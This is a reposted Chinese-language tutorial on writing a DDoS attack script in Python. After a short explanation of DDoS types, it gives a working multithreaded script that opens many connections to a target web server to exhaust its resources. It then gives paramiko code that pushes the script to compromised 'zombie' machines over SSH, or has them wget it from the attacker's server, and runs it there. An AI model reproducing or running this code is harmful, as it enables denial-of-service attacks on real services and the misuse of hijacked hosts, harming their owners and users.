python編寫DDoS攻擊腳本


python編寫DDoS攻擊腳本

一、什么是DDoS攻擊

DDoS攻擊就是分布式的拒絕服務攻擊,DDoS攻擊手段是在傳統的DoS攻擊基礎之上產生的一類攻擊方式。單一的DoS攻擊一般是采用一對一方式的,隨着計算機與網絡技術的發展,DoS攻擊的困難程度加大了。於是就產生了DDoS攻擊,它的原理就很簡單:計算機與網絡的處理能力加大了10倍,用一台攻擊機來攻擊不再能起作用,那么DDoS就是利用更多的傀儡機來發起進攻,以比從前更大的規模來進攻受害者。

二、DDoS分類

作為目前最強大、最難防御的攻擊之一,DDos攻擊主要分為兩種。

  1. 以力取勝:海量的數據包從互聯網各個角落蜂擁而來,堵塞IDC入口,典型的為ICMP Flood和UDP Flood(消耗帶寬)。
  2. 以巧取勝:主要是利用協議或者軟件的漏洞發起,如Slowloris攻擊,hash沖突。(協議攻擊)
  3. 混合:上述兩種混合,即利用協議、系統的缺陷,又具備海量的資源,如SYN Flood攻擊,DNS Query Flood攻擊。

三、編寫DDoS攻擊腳本

  • 編寫DDoS攻擊腳本,原理是使用socket連接到目標網站,並發送大量http請求,從而耗盡受攻擊網站資源:
import socket
import time
import threading

MAX_CONN = 100  # 設置連接的數量
PORT = 80  # 設置端口號 
HOST = "10.16.53.180"  # 設置IP地址
PAGE = "/DVWA"

buf = ("GET %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
       "Content-Length: 1000000000\r\n"
       "\r\n" % (PAGE, HOST))  # HTTP請求

socks = []

def conn_thread():
    global socks
    for i in range(0, MAX_CONN):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST, PORT))
            s.send(bytes(buf, encoding='utf-8'))  # 發送HTTP請求
            print("[+] Send buf OK!,conn=%d" % i)
            socks.append(s)
        except Exception as ex:
            print("[-] Could not connect to server or send error:%s" % ex)
            time.sleep(2)

def send_thread():
    global socks
    for i in range(10):
        for s in socks:
            try:
                s.send(bytes("ddos", encoding='utf-8'))  # ddos攻擊
                print("[+] send OK!")
            except Exception as ex:
                print("[-] send Exception:%s" % ex)
                socks.remove(s)
                s.close()
        time.sleep(1)

conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
  • 連接到“傀儡機”,也就是我們常說的“肉雞”,通過ssh進行連接,並將ddos腳本上傳到“肉雞”,方式有許多種,這里介紹兩種。
  1. 直接通過python的paramiko模塊上傳文件到遠端:
import paramiko

t = paramiko.Transport(("IP地址",22))
t.connect(username = "用戶名", password = "密碼")
sftp = paramiko.SFTPClient.from_transport(t)
remotepath='/home/ddos.py'
localpath='D:\ddos\ddos.py'
sftp.put(localpath,remotepath)
t.close()
  1. 在本地開啟apache服務,向遠端發送wget http://10.16.14.171/ddos.py -O ddos.py指令,下載apache服務器目錄下的ddos.py腳本:
import paramiko

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('10.16.66.71', 22, '用戶名', '密碼')
stdin, stdout, stderr = ssh.exec_command('wget http://10.16.14.171/ddos.py -O ddos.py')

上述兩種辦法適用於Windows平台,想在linux平台上實現,可以使用pexpect模塊實現ssh連接。

  1. 運行腳本:
stdin, stdout, stderr = ssh.exec_command('python3 ddos.py')

運行效果如圖:

github地址:https://github.com/Chenmengx/DDos


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM